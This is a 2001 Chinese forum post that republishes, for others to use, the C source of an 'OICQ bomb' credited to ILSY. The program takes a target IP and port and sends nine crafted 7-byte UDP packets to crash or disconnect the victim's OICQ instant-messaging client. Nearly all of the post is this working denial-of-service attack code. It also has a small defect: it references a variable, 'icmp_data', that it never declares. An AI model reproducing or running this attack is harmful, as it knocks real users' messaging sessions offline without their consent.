发布者 ILSY公开的OICQ炸弹源码
病毒
等级: 高级成员
参加: Jul 09,2001
张贴: 22
来自:
张贴: 2001-09-20 01:16
近几天忙单位的活,没怎么注意其他。今一上OICQ
就狂掉,原来是ILSY炸俺。紧接着搜索了一下,发现
最近发布了几个OICQ炸弹,但没见有源代码(可能有,不过俺是没看见)。那就让俺帮ILSY发布一下。^0^。
程序非常简单,一目了然,俺也就不用多说了。
// write by ILSY
#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib,"ws2_32.lib")
#define STATUS_FAILED 0xFFFF
typedef struct _hdr {
unsigned char data1;
unsigned char data2;
unsigned char data3;
unsigned char data4;
unsigned char data5;
unsigned char data6;
unsigned char data7;
}UDP;
#define xmalloc(s) (LPTSTR)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,(s))
#define xfree(p) (LPTSTR)HeapFree (GetProcessHeap(),0,(p))
int main(int argc, char* argv[])
{
WSADATA wsaData;
SOCKET sockRaw;
struct sockaddr_in dest;
int bread;
int datasize;
int timeout = 1000;
char * data;
int i;
if(argc <2 )
{
printf("\n");
printf("UDP Packet send program . write by ilsy\n");
printf("Usage: %s Host Port\n",argv[0]);
ExitProcess(STATUS_FAILED);
}
if (WSAStartup(MAKEWORD(2,1),&wsaData) != 0){
fprintf(stderr,"Windows Socket Startup failed: %d\n",GetLastError());
ExitProcess(STATUS_FAILED);
}
sockRaw = socket (AF_INET,SOCK_RAW,IPPROTO_UDP);
if (sockRaw == SOCKET_ERROR) {
fprintf(stderr,"Windows Socket creat failed: %d\n",WSAGetLastError());
ExitProcess(STATUS_FAILED);
}
bread = setsockopt(sockRaw,SOL_SOCKET,SO_RCVTIMEO,(char*)&timeout,sizeof(timeout));
if(bread == SOCKET_ERROR) {
fprintf(stderr,"failed to set recv timeout: %d\n",WSAGetLastError());
ExitProcess(STATUS_FAILED);
}
timeout = 1000;
bread = setsockopt(sockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&timeout,sizeof(timeout));
if(bread == SOCKET_ERROR) {
fprintf(stderr,"failed to set send timeout: %d\n",WSAGetLastError());
ExitProcess(STATUS_FAILED);
}
memset(&dest,0,sizeof(dest));
dest.sin_addr.s_addr= inet_addr(argv[1]);
dest.sin_family = AF_INET;
dest.sin_port=htons(atoi(argv[2]));
connect(sockRaw,(const sockaddr *)&dest,sizeof(dest));
datasize = 7;
data = xmalloc(datasize);
if (!data) {
fprintf(stderr,"HeapAlloc failed %d\n",GetLastError());
ExitProcess(STATUS_FAILED);
}
memset(icmp_data,0,datasize);
for(i=0;i<9;i++) {
((UDP*)data)->data1 = 0x02;
((UDP*)data)->data2 = 0xfe;
((UDP*)data)->data3 = 0x03;
((UDP*)data)->data4 = 0x0;
((UDP*)data)->data5 = 0x1;
((UDP*)data)->data6 = 0x1f;
((UDP*)data)->data7 = 0x03;
bread = send(sockRaw,data,datasize,0);
if (bread == SOCKET_ERROR){
if (WSAGetLastError() == WSAETIMEDOUT) {
printf("timed out\n");
continue;
}
fprintf(stderr,"sendto failed: %d\n",WSAGetLastError());
ExitProcess(STATUS_FAILED);
}
if (bread < datasize ) {
fprintf(stdout,"Wrote %d bytes\n",bread);
}
Sleep(1000);
}
closesocket(sockRaw);
return 0;
}